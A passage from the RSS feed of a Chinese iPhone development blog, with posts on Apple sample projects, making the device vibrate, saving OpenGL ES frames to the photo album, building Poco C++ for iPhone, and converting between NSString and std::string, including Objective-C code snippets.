<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/FirstApp.zip">FirstApp源代码下载</a></p>
<p><br class="spacer_" /></p>
<h4>可编辑详情视窗</h4>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/EditableDetailView.png"><img class="alignnone size-full wp-image-791" title="EditableDetailView" src="http://www.iphone-geek.cn/wp-content/uploads/2010/01/EditableDetailView.png" alt="EditableDetailView" width="256" height="375" /></a></p>
<p>提供一个文本域和一个按钮。</p>
<p>演示了：</p>
<ul>
<li>使用CGRect 结构来确定子视图大小和定位。</li>
<li>创建一个诸如UITextField 和 UIButton的UIControl子类 。</li>
<li>实现处理用户触摸动作的方法。</li>
<li>在用户触发事件时修改 UITextField的值。</li>
<li>动态修改 UILabel的值。</li>
</ul>
<p><br class="spacer_" /></p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/EditableDetailView.zip">EditableDetailView源码下载</a></p>
<p><br class="spacer_" /></p>
<h4>视图动画</p>
<p><br class="spacer_" /></p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/AnimatingAView1.png"><img class="alignnone size-full wp-image-795" title="AnimatingAView" src="http://www.iphone-geek.cn/wp-content/uploads/2010/01/AnimatingAView1.png" alt="AnimatingAView" width="257" height="375" /></a></p>
</h4>
<p>提供一个文本域和按钮。</p>
<p>演示了：</p>
<ul>
<li>创建一个自定义 UIView 子类，它提供了自定义的动画行为。</li>
<li>启动 CAAnimation 。</li>
<li>为UIView增加一个或多个CAAffineTransform。</li>
<li>设置诸如动画曲线，时长和重复次数等属性。</li>
</ul>
<p><br class="spacer_" /></p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/AnimatingAView1.1.zip">AnimatingAView1.1源码下载</a></p>
<p><br class="spacer_" /></p>
<h3>Table Views</h3>
<p><br class="spacer_" /></p>
<p>一系列示例展示了表格视图以及导航控制器。</p>
<h4>简单TableView</h4>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/SimpleTableView.png"><img class="alignnone size-full wp-image-802" title="SimpleTableView" src="http://www.iphone-geek.cn/wp-content/uploads/2010/01/SimpleTableView.png" alt="SimpleTableView" width="258" height="379" /></a></p>
<p><br class="spacer_" /></p>
<p>包括一个列表式UITableView，它显示了一个数组中的字符串。</p>
<p><br class="spacer_" /></p>
<p>演示了：</p>
<ul>
<li>创建一个自定义UITableViewController子类。 </li>
<li>实现UITableViewDataSource协议要求的方法并为UITableView赋值。 </li>
<li>创建一个UITableViewCell并赋值。</li>
<li>在表格视图的各行以不同字体属性显示不同的字符串。</li>
</ul>
<p><br class="spacer_" /></p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/SimpleTableView1.1.zip">SimpleTableView1.1源码下载</a></p>
<p><br class="spacer_" /></p>
<h4>带导航条的TableView</h4>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/TableViewWithNavigation.png"><img class="alignnone size-full wp-image-804" title="TableViewWithNavigation" src="http://www.iphone-geek.cn/wp-content/uploads/2010/01/TableViewWithNavigation.png" alt="TableViewWithNavigation" width="256" height="376" /></a></p>
<p>包括一个列表式UITableView，当用户轻触某行时进入分组式表格视图。</p>
<p>演示了：</p>
<ul>
<li>通过 UINavigationController 提供不同屏幕间的导航。</li>
<li>实现UITableViewDelegate协议的tableViewDidSelectRowAtIndexPath: 方法来处理行选择，进入另一个视图。</li>
<li>通过设置字体等来控制UITableViewCell 的外观。</li>
<li>需要时自动加载代表 UITableView 的数据。</li>
<li>使用分组式 UITableView 来表示一个详情视图。</li>
</ul>
<p><br class="spacer_" /></p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/TableViewWithNavigation1.1.zip">TableViewWithNavigation1.1源码下载</a></p>
<p><br class="spacer_" /></p>
<h4>可编辑TableView</h4>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/EditableTableView.png"><img class="alignnone size-full wp-image-806" title="EditableTableView" src="http://www.iphone-geek.cn/wp-content/uploads/2010/01/EditableTableView.png" alt="EditableTableView" width="257" height="375" /></a></p>
<p><br class="spacer_" /></p>
<p>具有一个列表式UITableView，允许添加，删除以及行的重新排序，并允许进入包括了可编辑字段的分组式表格视图对属性进行编辑。</p>
<p><br class="spacer_" /></p>
<p>演示了：</p>
<ul>
<li>创建了一个包括可编辑UITextField的自定义UITableViewCell子类。</li>
<li>使用UINavigationController添加新的条目到 UITableView。 </li>
<li>创建并改变UIImage 的大小来设置表格单元的图像。</li>
<li>管理表格视图的键盘，通过程序使其出现，改变键盘类型以及消失。</li>
<li>管理导航控制器UINavigationBar上的按钮。</li>
</ul>
<p><br class="spacer_" /></p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/EditableTableView1.1.zip">EditableTableView1.1源码下载</a></p>
<p><br class="spacer_" /></p>
<h4>带有文件支持的TableView</h4>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/TableViewWithFilePersistence.png"><img class="alignnone size-full wp-image-810" title="TableViewWithFilePersistence" src="http://www.iphone-geek.cn/wp-content/uploads/2010/01/TableViewWithFilePersistence.png" alt="TableViewWithFilePersistence" width="256" height="376" /></a></p>
<p>类似于可编辑TableView，但增加一些特性，包括文件支持。</p>
<p><br class="spacer_" /></p>
<p>演示了：</p>
<ul>
<li>创建一个包括UITextField的自定义UITableViewCell 子类，它允许表格单元可编辑。</li>
<li>使用UINavigationController 增加新条目到 UITableView。 </li>
<li>创建并改变UIImage的大小从而设置表格单元的图像。</li>
<li>管理表格视图的键盘，通过程序使其出现，改变键盘类型以及消失。</li>
<li>管理导航控制器UINavigationBar上的按钮。</li>
</ul>
<p><br class="spacer_" /></p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/TableViewWithFilePersistence1.1.zip">TableViewWithFilePersistence1.1源码下载</a></p>
<p><br class="spacer_" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e5%bc%80%e5%a7%8b%e5%ad%a6%e4%b9%a0iphone%e7%bc%96%e7%a8%8b%e4%b9%8b%e5%85%ad-%e7%ae%80%e5%8d%95%e7%a4%ba%e4%be%8b%e4%bb%a3%e7%a0%81/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>振动</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e6%8c%af%e5%8a%a8-2</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e6%8c%af%e5%8a%a8-2#comments</comments>
		<pubDate>Fri, 08 Jan 2010 03:09:49 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[用户界面]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=742</guid>
		<description><![CDATA[想要你的iPhone/iPod Touch振动吗？实在很简单，只需一行代码：
1AudioServicesPlaySystemSound &#40;kSystemSoundID_Vibrate&#41;;
当然要记得在你的项目中加入AudioToolbox framework。不过振动的模式和长度无法控制。目前我在研究看是否有其他方法。
]]></description>
			<content:encoded><![CDATA[<p>想要你的iPhone/iPod Touch振动吗？实在很简单，只需一行代码：</p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">AudioServicesPlaySystemSound <span style="color: #002200;">&#40;</span>kSystemSoundID_Vibrate<span style="color: #002200;">&#41;</span>;</div></td></tr></tbody></table></div>
<p>当然要记得在你的项目中加入AudioToolbox framework。不过振动的模式和长度无法控制。目前我在研究看是否有其他方法。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e6%8c%af%e5%8a%a8-2/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>存储OpenGL ES内容到相片簿中</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e5%ad%98%e5%82%a8opengl-es%e5%86%85%e5%ae%b9%e5%88%b0%e7%9b%b8%e7%89%87%e7%b0%bf%e4%b8%ad</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e5%ad%98%e5%82%a8opengl-es%e5%86%85%e5%ae%b9%e5%88%b0%e7%9b%b8%e7%89%87%e7%b0%bf%e4%b8%ad#comments</comments>
		<pubDate>Wed, 30 Dec 2009 02:40:57 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[图形图像]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[相片簿]]></category>
		<category><![CDATA[OpenGL ES]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=578</guid>
		<description><![CDATA[（注：本文改编自iPhone – saving OpenGL ES content to the Photo Album，懒得全文翻译了，只挑一下重点加上自己的语言描述一下）
&#160;
有许多程序都有将图片存入相片簿的功能。如果你使用了OpenGL ES，那么本文的方法适合你使用。简单步骤：

使用glReadPixels读取GL数据到字节数组中
使用UIImageWriteToSavedPhotosAlbum将UIImage存储到相片簿中

&#160;
但怎样将字节数组转换成UIImage比较困难。由于 [UIImage imageFromData:data]需要UIImage支持的文件格式，所以并不适用，因为从glReadPixels读取的字节数组中的数据是原始像素数据。可以使用CGImageCreate来创建一个CGImageRef，然后用[UIImage imageWithCGImage:imageRef]转换成UIImage。CGImageCreate要求CGDataProviderRef，可以通过CGDataProviderCreateWithData使用glReadPixels的数据来创建。整个过程的流程如下：
&#160;
glReadPixels -&#62; CGDataProviderCreateWithData -&#62; CGImageCreate -&#62; [UIImage imageWithCGImage:] -&#62; UIImageWriteToSavedPhotosAlbum
&#160;
但是还存在一个问题，OpenGL 使用标准笛卡尔坐标，即+Y朝上， -Y朝下。所以用glReadPixels获得的数组是上下颠倒的。可以使用位旋转技术进行修正。下面是代码（用在具有CAEAGLLayer的UIView中） ：
123456789101112131415161718192021222324252627282930313233343536373839404142434445&#160; &#160; &#160; -&#40;UIImage *&#41; glToUIImage &#123;
&#160; &#160;
&#160; &#160; &#160; &#160; &#160; NSInteger myDataLength = 320 * 480 * 4;
&#160; &#160; &#160; &#160; &#160; &#160;
&#160; &#160; &#160; &#160; &#160; // [...]]]></description>
			<content:encoded><![CDATA[<p>（注：本文改编自<a title="Permanent Link: iPhone – saving OpenGL ES content to the Photo Album" rel="bookmark" href="http://www.bit-101.com/blog/?p=1861">iPhone – saving OpenGL ES content to the Photo Album</a>，懒得全文翻译了，只挑一下重点加上自己的语言描述一下）</p>
<p>&nbsp;</p>
<p>有许多程序都有将图片存入相片簿的功能。如果你使用了OpenGL ES，那么本文的方法适合你使用。简单步骤：</p>
<ol>
<li>使用glReadPixels读取GL数据到字节数组中</li>
<li>使用UIImageWriteToSavedPhotosAlbum将UIImage存储到相片簿中</li>
</ol>
<p>&nbsp;</p>
<p>但怎样将字节数组转换成UIImage比较困难。由于 [UIImage imageFromData:data]需要UIImage支持的文件格式，所以并不适用，因为从glReadPixels读取的字节数组中的数据是原始像素数据。可以使用CGImageCreate来创建一个CGImageRef，然后用[UIImage imageWithCGImage:imageRef]转换成UIImage。CGImageCreate要求CGDataProviderRef，可以通过CGDataProviderCreateWithData使用glReadPixels的数据来创建。整个过程的流程如下：</p>
<p>&nbsp;</p>
<p>glReadPixels -&gt; CGDataProviderCreateWithData -&gt; CGImageCreate -&gt; [UIImage imageWithCGImage:] -&gt; UIImageWriteToSavedPhotosAlbum</p>
<p>&nbsp;</p>
<p>但是还存在一个问题，OpenGL 使用标准笛卡尔坐标，即+Y朝上， -Y朝下。所以用glReadPixels获得的数组是上下颠倒的。可以使用位旋转技术进行修正。下面是代码（用在具有CAEAGLLayer的UIView中） ：</p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; <span style="color: #002200;">-</span><span style="color: #002200;">&#40;</span>UIImage <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span> glToUIImage <span style="color: #002200;">&#123;</span><br />
&nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NSInteger myDataLength <span style="color: #002200;">=</span> 320 <span style="color: #002200;">*</span> 480 <span style="color: #002200;">*</span> <span style="color: #2400d9;">4</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #11740a; font-style: italic;">// allocate array and read pixels into it.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GLubyte <span style="color: #002200;">*</span>buffer <span style="color: #002200;">=</span> <span style="color: #002200;">&#40;</span>GLubyte <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/malloc.html"><span style="color: #a61390;">malloc</span></a><span style="color: #002200;">&#40;</span>myDataLength<span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; glReadPixels<span style="color: #002200;">&#40;</span>0, 0, 320, 480, GL_RGBA, GL_UNSIGNED_BYTE, buffer<span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #11740a; font-style: italic;">// gl renders &quot;upside down&quot; so swap top to bottom into new array.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #11740a; font-style: italic;">// there's gotta be a better way, but this works.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GLubyte <span style="color: #002200;">*</span>buffer2 <span style="color: #002200;">=</span> <span style="color: #002200;">&#40;</span>GLubyte <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/malloc.html"><span style="color: #a61390;">malloc</span></a><span style="color: #002200;">&#40;</span>myDataLength<span style="color: #002200;">&#41;</span>;<br />
&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #a61390;">for</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">int</span> y <span style="color: #002200;">=</span> <span style="color: #2400d9;">0</span>; y &lt;<span style="color: #2400d9;">480</span>; y<span style="color: #002200;">++</span><span style="color: #002200;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #002200;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #a61390;">for</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">int</span> x <span style="color: #002200;">=</span> <span style="color: #2400d9;">0</span>; x &lt;320 <span style="color: #002200;">*</span> <span style="color: #2400d9;">4</span>; x<span style="color: #002200;">++</span><span style="color: #002200;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #002200;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer2<span style="color: #002200;">&#91;</span><span style="color: #002200;">&#40;</span>479 <span style="color: #002200;">-</span> y<span style="color: #002200;">&#41;</span> <span style="color: #002200;">*</span> 320 <span style="color: #002200;">*</span> 4 <span style="color: #002200;">+</span> x<span style="color: #002200;">&#93;</span> <span style="color: #002200;">=</span> buffer<span style="color: #002200;">&#91;</span>y <span style="color: #002200;">*</span> 4 <span style="color: #002200;">*</span> 320 <span style="color: #002200;">+</span> x<span style="color: #002200;">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #002200;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #002200;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #11740a; font-style: italic;">// make data provider with data.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; CGDataProviderRef provider <span style="color: #002200;">=</span> CGDataProviderCreateWithData<span style="color: #002200;">&#40;</span><span style="color: #a61390;">NULL</span>, buffer2, myDataLength, <span style="color: #a61390;">NULL</span><span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #11740a; font-style: italic;">// prep the ingredients</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #a61390;">int</span> bitsPerComponent <span style="color: #002200;">=</span> <span style="color: #2400d9;">8</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #a61390;">int</span> bitsPerPixel <span style="color: #002200;">=</span> <span style="color: #2400d9;">32</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #a61390;">int</span> bytesPerRow <span style="color: #002200;">=</span> 4 <span style="color: #002200;">*</span> <span style="color: #2400d9;">320</span>;<br />
&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; CGColorSpaceRef colorSpaceRef <span style="color: #002200;">=</span> CGColorSpaceCreateDeviceRGB<span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; CGBitmapInfo bitmapInfo <span style="color: #002200;">=</span> kCGBitmapByteOrderDefault;<br />
&nbsp; &nbsp; &nbsp; &nbsp; CGColorRenderingIntent renderingIntent <span style="color: #002200;">=</span> kCGRenderingIntentDefault;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #11740a; font-style: italic;">// make the cgimage</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; CGImageRef imageRef <span style="color: #002200;">=</span> CGImageCreate<span style="color: #002200;">&#40;</span>320, 480, bitsPerComponent, bitsPerPixel, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;bytesPerRow, colorSpaceRef, bitmapInfo, provider, <span style="color: #a61390;">NULL</span>, <span style="color: #a61390;">NO</span>, renderingIntent<span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #11740a; font-style: italic;">// then make the uiimage from that</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; UIImage <span style="color: #002200;">*</span>myImage <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>UIImage imageWithCGImage<span style="color: #002200;">:</span>imageRef<span style="color: #002200;">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #a61390;">return</span> myImage;<br />
&nbsp; &nbsp;<span style="color: #002200;">&#125;</span><br />
&nbsp;<br />
&nbsp; &nbsp;<span style="color: #002200;">-</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">void</span><span style="color: #002200;">&#41;</span>captureToPhotoAlbum <span style="color: #002200;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UIImage <span style="color: #002200;">*</span>image <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>self glToUIImage<span style="color: #002200;">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UIImageWriteToSavedPhotosAlbum<span style="color: #002200;">&#40;</span>image, self, <span style="color: #a61390;">nil</span>, <span style="color: #a61390;">nil</span><span style="color: #002200;">&#41;</span>; <br />
&nbsp; &nbsp; <span style="color: #002200;">&#125;</span></div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e5%ad%98%e5%82%a8opengl-es%e5%86%85%e5%ae%b9%e5%88%b0%e7%9b%b8%e7%89%87%e7%b0%bf%e4%b8%ad/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Poco C++ for iPhone之一 &#8211; 编译</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/poco-c-for-iphone%e4%b9%8b%e4%b8%80-%e7%bc%96%e8%af%91</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/poco-c-for-iphone%e4%b9%8b%e4%b8%80-%e7%bc%96%e8%af%91#comments</comments>
		<pubDate>Tue, 29 Dec 2009 02:39:58 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[基础]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[跨平台]]></category>
		<category><![CDATA[开源项目]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=554</guid>
		<description><![CDATA[Poco C++是一个强大的跨平台C++库，你可以在iPhone程序中使用它，如果：

你打算使你的程序跨平台。
你喜欢使用C++或希望使用Poco C++中的功能如：XML，Zip等。

&#160;
目前，最新Poco C++版本为1.3.6P1，根据文档，它可以编译为iPhone静态库。但是我试用了一下，无法使用在iPhone Xcode项目中链接，不知何故。所以我自己创建了下列Xcode项目：

Poco Foundation
Poco Util
Poco Net
Poco XML
Poco Zip

&#160;
另外，由于Crypto，Data，NetSSL_OpenSSL库需要外部库而且目前我不需要使用，所以没有包括。另外我增加了一个目录iPhoneSamples，它目前包括了一个示例程序HelloPoco，演示了怎样在iPhone项目中使用Poco C++库（此演示程序十分简单，它调用Poco中的UUID功能，产生一个UUID，显示与屏幕上）。下面是包括了此展示程序以及各Xcode文件的Poco包的下载：
&#160;
poco-1.3.6p1
]]></description>
			<content:encoded><![CDATA[<p>Poco C++是一个强大的跨平台C++库，你可以在iPhone程序中使用它，如果：</p>
<ol>
<li>你打算使你的程序跨平台。</li>
<li>你喜欢使用C++或希望使用Poco C++中的功能如：XML，Zip等。</li>
</ol>
<p>&nbsp;</p>
<p>目前，最新Poco C++版本为1.3.6P1，根据文档，它可以编译为iPhone静态库。但是我试用了一下，无法使用在iPhone Xcode项目中链接，不知何故。所以我自己创建了下列Xcode项目：</p>
<ul>
<li>Poco Foundation</li>
<li>Poco Util</li>
<li>Poco Net</li>
<li>Poco XML</li>
<li>Poco Zip</li>
</ul>
<p>&nbsp;</p>
<p>另外，由于Crypto，Data，NetSSL_OpenSSL库需要外部库而且目前我不需要使用，所以没有包括。另外我增加了一个目录iPhoneSamples，它目前包括了一个示例程序HelloPoco，演示了怎样在iPhone项目中使用Poco C++库（此演示程序十分简单，它调用Poco中的UUID功能，产生一个UUID，显示与屏幕上）。下面是包括了此展示程序以及各Xcode文件的Poco包的下载：</p>
<p>&nbsp;</p>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2009/12/poco-1.3.6.zip">poco-1.3.6p1</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/poco-c-for-iphone%e4%b9%8b%e4%b8%80-%e7%bc%96%e8%af%91/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>跨平台代码分享之五 &#8211; 字符串转换</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e8%b7%a8%e5%b9%b3%e5%8f%b0%e4%bb%a3%e7%a0%81%e5%88%86%e4%ba%ab%e4%b9%8b%e4%ba%94-%e5%ad%97%e7%ac%a6%e4%b8%b2%e8%bd%ac%e6%8d%a2</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e8%b7%a8%e5%b9%b3%e5%8f%b0%e4%bb%a3%e7%a0%81%e5%88%86%e4%ba%ab%e4%b9%8b%e4%ba%94-%e5%ad%97%e7%ac%a6%e4%b8%b2%e8%bd%ac%e6%8d%a2#comments</comments>
		<pubDate>Tue, 22 Dec 2009 02:20:33 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[基础]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[跨平台]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=494</guid>
		<description><![CDATA[严格地说，本文主题与跨平台代码无关。但是由于在iPhone上，通常界面程序还是由Objective-C编写的，经常需要用到STL string和NSString之间的转换。下面是转换的代码：
&#160;
NSString -&#62; std::string
12345678910+&#40;std::string&#41;getString:&#40;NSString*&#41;theString
&#123;
&#160; &#160; int size = &#91;theString length&#93;*sizeof&#40;char&#41;;
&#160; &#160; char *buffer = &#40;char*&#41; malloc&#40;size+1&#41;;
&#160; &#160; memset&#40;buffer, 0, size+1&#41;;
&#160; &#160; &#91;theString getCString:buffer maxLength:size+1 encoding:NSASCIIStringEncoding&#93;;
&#160; &#160; std::string str&#40;buffer,size&#41;;
&#160; &#160; free&#40;buffer&#41;;
&#160; &#160; return str;
&#125;
&#160;
std::string -> NSString
1234+&#40;NSString*&#41;getNSString:&#40;const std::string&#38;&#41;theString
&#123;
&#160; &#160; return &#91;NSString stringWithCString:theString.c_str&#40;&#41;&#93;;
&#125;
]]></description>
			<content:encoded><![CDATA[<p>严格地说，本文主题与跨平台代码无关。但是由于在iPhone上，通常界面程序还是由Objective-C编写的，经常需要用到STL string和NSString之间的转换。下面是转换的代码：</p>
<p>&nbsp;</p>
<p><H3><strong>NSString -&gt; std::string</strong></H3></p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #002200;">+</span><span style="color: #002200;">&#40;</span>std<span style="color: #002200;">::</span><span style="color: #a61390;">string</span><span style="color: #002200;">&#41;</span>getString<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a><span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span>theString<br />
<span style="color: #002200;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #a61390;">int</span> size <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>theString length<span style="color: #002200;">&#93;</span><span style="color: #002200;">*</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/sizeof.html"><span style="color: #a61390;">sizeof</span></a><span style="color: #002200;">&#40;</span><span style="color: #a61390;">char</span><span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; <span style="color: #a61390;">char</span> <span style="color: #002200;">*</span>buffer <span style="color: #002200;">=</span> <span style="color: #002200;">&#40;</span><span style="color: #a61390;">char</span><span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/malloc.html"><span style="color: #a61390;">malloc</span></a><span style="color: #002200;">&#40;</span>size<span style="color: #002200;">+</span>1<span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/memset.html"><span style="color: #a61390;">memset</span></a><span style="color: #002200;">&#40;</span>buffer, 0, size<span style="color: #002200;">+</span>1<span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; <span style="color: #002200;">&#91;</span>theString getCString<span style="color: #002200;">:</span>buffer maxLength<span style="color: #002200;">:</span>size<span style="color: #002200;">+</span>1 encoding<span style="color: #002200;">:</span>NSASCIIStringEncoding<span style="color: #002200;">&#93;</span>;<br />
&nbsp; &nbsp; std<span style="color: #002200;">::</span><span style="color: #a61390;">string</span> str<span style="color: #002200;">&#40;</span>buffer,size<span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/free.html"><span style="color: #a61390;">free</span></a><span style="color: #002200;">&#40;</span>buffer<span style="color: #002200;">&#41;</span>;<br />
&nbsp; &nbsp; <span style="color: #a61390;">return</span> str;<br />
<span style="color: #002200;">&#125;</span></div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p><H3><strong>std::string -> NSString</strong></H3></p>
